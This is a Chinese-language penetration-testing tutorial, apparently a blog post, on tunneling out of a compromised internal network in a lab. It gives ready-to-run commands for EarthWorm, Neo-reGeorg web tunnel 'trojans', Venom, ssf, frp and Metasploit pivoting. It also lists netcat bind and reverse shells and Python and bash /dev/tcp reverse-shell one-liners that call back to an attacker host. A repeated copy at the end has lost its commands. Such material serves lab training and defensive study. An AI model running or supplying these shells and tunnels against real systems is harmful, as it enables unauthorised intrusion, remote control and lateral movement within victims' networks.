内网穿透的n种姿势
字数 1010 2025-08-05 12:50:26

内网穿透技术详解

0x00 前言

在渗透测试中,当获取到一台边缘机器后,经常遇到剩余内网机器无法直接访问互联网的情况。此时需要将内网机器流量通过边缘机器转发出来,本文详细介绍多种内网穿透技术。

0x01 实验环境

  • 边缘机器

    • Windows 7
    • IP: 192.168.10.15(外网), 192.168.52.143(内网)
  • 目标机器

    • Windows 2008R2
    • IP: 192.168.52.138
  • 攻击机器

    • Windows 2008
    • IP: 192.168.10.3
    • Kali Linux:
      • MSF5: 192.168.10.14
      • MSF6: 192.168.10.11

0x02 EarthWorm (EW)

1. 正向连接(适用于目标机器有外网IP)

在边缘机器执行:

ew -s ssocksd -l 888

监听本机888端口,然后在目标机器上使用Proxifier等工具连接此代理。

2. 反向连接(适用于边缘机器无公网IP)

攻击机器执行:

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

将外网1234端口转发到1080端口。

边缘机器连接:

ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234

0x03 Neo-reGeorg

  1. 生成木马文件:
python neoreg.py generate -k 123456

在neoreg_servers目录下生成木马文件。

  1. 上传tunnel.php等木马文件到Web服务器。

  2. 攻击机连接:

python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

0x04 Venom

  1. 攻击机器监听:
admin.exe -lport 9999
  1. 边缘机器连接:
agent.exe -rhost 192.168.10.3 -rport 9999
  1. 建立socks代理:
goto 1
socks 6666

0x05 ssf

1. 正向连接

边缘机器:

ssfd.exe ‐‐p 1333

攻击机:

ssfd.exe ‐‐D 1222 ‐‐p 1333 192.168.10.15

2. 反向连接

攻击机:

ssfd.exe ‐‐p 1234

边缘机器:

ssf.exe ‐‐F 12345 ‐‐p 1234 192.168.10.3

0x06 frp

  1. 攻击机配置frps.ini:
[common]
bind_port = 6666

运行:

frps.exe -c frps.ini
  1. 边缘机器配置frpc.ini:
[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5

运行:

frpc.exe ‐‐c frpc.ini

0x07 Metasploit (MSF)

  1. 使用socks_proxy模块:
use auxiliary/server/socks_proxy
  1. 设置代理类型(默认为socks5):
set version 4a  # 如需使用socks4a
  1. 配置浏览器使用代理访问内网资源。

拓展:portfwd端口转发

portfwd add -l 3389 -r 192.168.52.138 -p 3389

然后访问本地3389端口即可。

0x08 Netcat (nc)

1. 正向连接

目标机器:

nc -lvp 4444 -e /bin/sh  # Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe  # Windows

攻击机器:

nc <目标机器ip> 4444

2. 反向连接

攻击机器监听:

nc -lvp 1234

目标机器连接:

nc <ip> 1234 -e /bin/sh  # Linux
nc <ip> 1234 -e cmd.exe  # Windows

替代方案(当目标机器无nc时)

Python反向shell

攻击机器:

nc -lvp 2222

目标机器:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Bash反向shell

攻击机器:

nc -lvp 2222

目标机器:

bash -i >& /dev/tcp/192.168.10.3/2222 0>&1

总结

本文详细介绍了多种内网穿透技术,包括EarthWorm、Neo-reGeorg、Venom、ssf、frp、Metasploit和Netcat等方法,涵盖了正向连接、反向连接等多种场景,可根据实际环境选择合适的技术方案。

内网穿透技术详解 0x00 前言 在渗透测试中,当获取到一台边缘机器后,经常遇到剩余内网机器无法直接访问互联网的情况。此时需要将内网机器流量通过边缘机器转发出来,本文详细介绍多种内网穿透技术。 0x01 实验环境 边缘机器 : Windows 7 IP: 192.168.10.15(外网), 192.168.52.143(内网) 目标机器 : Windows 2008R2 IP: 192.168.52.138 攻击机器 : Windows 2008 IP: 192.168.10.3 Kali Linux: MSF5: 192.168.10.14 MSF6: 192.168.10.11 0x02 EarthWorm (EW) 1. 正向连接(适用于目标机器有外网IP) 在边缘机器执行: 监听本机888端口,然后在目标机器上使用Proxifier等工具连接此代理。 2. 反向连接(适用于边缘机器无公网IP) 攻击机器执行: 将外网1234端口转发到1080端口。 边缘机器连接: 0x03 Neo-reGeorg 生成木马文件: 在neoreg_ servers目录下生成木马文件。 上传tunnel.php等木马文件到Web服务器。 攻击机连接: 0x04 Venom 攻击机器监听: 边缘机器连接: 建立socks代理: 0x05 ssf 1. 正向连接 边缘机器: 攻击机: 2. 反向连接 攻击机: 边缘机器: 0x06 frp 攻击机配置frps.ini: 运行: 边缘机器配置frpc.ini: 运行: 0x07 Metasploit (MSF) 使用socks_ proxy模块: 设置代理类型(默认为socks5): 配置浏览器使用代理访问内网资源。 拓展:portfwd端口转发 然后访问本地3389端口即可。 0x08 Netcat (nc) 1. 正向连接 目标机器: 攻击机器: 2. 反向连接 攻击机器监听: 目标机器连接: 替代方案(当目标机器无nc时) Python反向shell 攻击机器: 目标机器: Bash反向shell 攻击机器: 目标机器: 总结 本文详细介绍了多种内网穿透技术,包括EarthWorm、Neo-reGeorg、Venom、ssf、frp、Metasploit和Netcat等方法,涵盖了正向连接、反向连接等多种场景,可根据实际环境选择合适的技术方案。